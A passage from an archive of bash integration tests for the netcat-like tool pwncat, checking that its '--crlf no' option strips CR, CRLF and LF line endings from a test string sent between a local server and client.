START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/601---tcp---client_crlf_no---server_sends_cr.sh000077500000000000000000000150131414025024700316740ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/602---tcp---client_crlf_no---server_sends_crlf.sh000077500000000000000000000150161414025024700322220ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Server -> Client" # [SERVER -> Client] wait_for_data_transferred "" "${expect}" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/700---tcp---server_crlf_no---client_sends_lf.sh000077500000000000000000000150131414025024700316710ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/701---tcp---server_crlf_no---client_sends_cr.sh000077500000000000000000000150131414025024700316750ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" 